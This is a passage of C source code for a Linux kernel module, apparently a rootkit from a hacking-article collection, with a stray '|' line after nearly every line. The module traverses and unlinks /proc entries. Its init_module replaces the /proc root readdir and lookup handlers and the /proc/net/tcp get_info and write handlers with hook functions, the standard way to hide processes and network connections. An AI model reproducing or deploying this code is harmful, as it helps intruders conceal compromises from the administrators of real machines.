while (strcmp (tmp, (char *) pr->name))
|
|
{
|
|
if (pr->subdir != NULL && path[x] == '/')
|
|
{
|
|
if (!strcmp (tmp, (char *) pr->subdir->name))
|
|
{
|
|
kfree (tmp);
|
|
lst_entry = pr;
|
|
return traverse_proc (path + x + 1, pr->subdir);
|
|
}
|
|
}
|
|
lst_entry = pr;
|
|
pr = pr->next;
|
|
if (pr == NULL)
|
|
{
|
|
kfree (tmp);
|
|
return NULL;
|
|
}
|
|
}
|
|
|
|
kfree (tmp);
|
|
if (*(path + x) == 0)
|
|
return pr;
|
|
else
|
|
{
|
|
lst_entry = pr;
|
|
return traverse_proc (path + x + 1, pr->subdir);
|
|
}
|
|
}
|
|
|
|
|
|
/*
|
|
* delete_proc_file:
|
|
* remove a file from of the proc filesystem. the files inode will still exist but it will
|
|
* no longer be accessable (not pointed to by any other proc inode). the subdir pointer will
|
|
* be copy'ed to the the subdir pointer of the preceeding inode.
|
|
* returns 1 on success, 0 on error.
|
|
*/
|
|
int delete_proc_file (char *name)
|
|
{
|
|
struct proc_dir_entry *last = NULL;
|
|
char *tmp = NULL;
|
|
int i = 0; /* delete subdir? */
|
|
|
|
last = traverse_proc (name, NULL);
|
|
|
|
if (last == NULL)
|
|
return 0;
|
|
if (lst_entry == NULL)
|
|
return 0;
|
|
|
|
if (last->subdir != NULL && i)
|
|
lst_entry->subdir = last->subdir;
|
|
|
|
while (*name != 0)
|
|
{
|
|
if (*name == '/')
|
|
tmp = name + 1;
|
|
*name++;
|
|
}
|
|
|
|
if (!strcmp (tmp, lst_entry->next->name))
|
|
lst_entry->next = last->next;
|
|
else if (!strcmp (tmp, lst_entry->subdir->name))
|
|
lst_entry->subdir = last->next;
|
|
else
|
|
return 0;
|
|
|
|
return 1;
|
|
}
|
|
|
|
|
|
int init_module ()
|
|
{
|
|
struct proc_dir_entry *last = NULL;
|
|
last = traverse_proc ("~/net/tcp", NULL);
|
|
|
|
old_readdir_root = proc_root.FILE_OPS->readdir;
|
|
old_lookup_root = proc_root.INODE_OPS->lookup;
|
|
|
|
proc_root.FILE_OPS->readdir = &new_readdir_root;
|
|
proc_root.INODE_OPS->lookup = &new_lookup_root;
|
|
|
|
if (last != NULL)
|
|
{
|
|
#ifdef DEBUG
|
|
printk ("Installing hooks ....\n");
|
|
#endif
|
|
old_get_info_tcp = last->get_info;
|
|
old_write_tcp = last->FILE_OPS->write;
|
|
|
|
last->get_info = &new_get_info_tcp;
|
|
last->FILE_OPS->write = &new_write_tcp;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
void cleanup_module ()
|
|
{
|
|
struct proc_dir_entry *last = NULL;
|
|
last = traverse_proc ("~/net/tcp", NULL);
|
|
|
|
proc_root.FILE_OPS->readdir = old_readdir_root;
|
|
proc_root.INODE_OPS->lookup = old_lookup_root;
|
|
|
|
if (last != NULL)
|
|
{
|
|
#ifdef DEBUG
|
|
printk ("Removing hooks ....\n");
|
|
#endif
|
|
last->get_info = old_get_info_tcp;
|
|
last->FILE_OPS->write = old_write_tcp;
|
|
}
|
|
}
|
|
<-->
|